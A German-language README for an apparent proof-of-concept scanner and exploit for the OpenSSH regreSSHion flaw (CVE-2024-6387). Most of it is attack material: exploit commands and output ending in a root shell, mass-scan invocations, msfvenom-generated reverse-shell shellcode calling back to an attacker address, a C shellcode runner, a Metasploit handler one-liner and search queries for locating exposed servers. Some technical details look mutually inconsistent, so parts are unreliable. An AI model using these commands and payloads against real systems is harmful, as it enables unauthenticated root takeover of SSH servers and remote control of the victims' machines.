
PoC - Schwachstelle für Remote-Codeausführung ohne Authentifizierung im OpenSSH-Server (Scanner und Exploit)
CVE-2024-6387 - PoCHinweis: Dieses Skript ist ein schneller Prototyp eines PoC, erwarten Sie einige Fehler und Bugs. Getestet auf: Kali Linux, ParrotSec, Ubuntu 22.04
Schwachstelle zur entfernten, nicht authentifizierten Codeausführung im OpenSSH-Server
Im OpenSSH-Server (sshd) wurde eine Race-Condition im Signalhandler gefunden, bei der ein Client sich nicht innerhalb von LoginGraceTime Sekunden (standardmäßig 120, bei alten OpenSSH-Versionen 600) authentifiziert, woraufhin sshds SIGALRM-Handler asynchron aufgerufen wird. Dieser Signalhandler ruft jedoch verschiedene Funktionen auf, die nicht async-signal-sicher sind, z. B. syslog().
Die technischen Details finden Sie hier.
Der Fehler, der von Forschern bei Qualys im Mai 2024 entdeckt und unter der Kennung CVE-2024-6387 vergeben wurde, beruht auf einer Race-Condition im Signalhandler von sshd, die es nicht authentifizierten entfernten Angreifern ermöglicht, beliebigen Code als root auszuführen.
"Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (120 standardmäßig) authentifiziert, wird sshds SIGALRM-Handler asynchron aufgerufen und ruft verschiedene Funktionen auf, die nicht async-signal-sicher sind."
"Ein nicht authentifizierter entfernter Angreifer kann diesen Fehler ausnutzen, um beliebigen Code mit Root-Rechten auszuführen."
Voraussetzung: python3 aktuell
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Autor: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Schwachstellen ausnutzen...
Versuche Ausnutzung mit glibc-Basis: 0xb7200000
Versuch 0 von 20000
SSH-Version empfangen: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
KEX_INIT empfangen (1024 Bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Ausnutzung erfolgreich..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generieren eines Shellcodes
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// Ein Platzhalter für Ihr benutzerdefiniertes Payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Shellcode ausführen
printf("Shellcode wird ausgeführt...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Mögliche glibc-Basisadressen (für ASLR-Umgehung)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode-Platzhalter (durch tatsächlichen Shellcode ersetzen)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# Kompilieren des Payloads
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Sobald Sie eine erfolgreiche Exploit-Nachricht erhalten, startet msfconsole automatisch eine Meterpreter-Sitzung.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access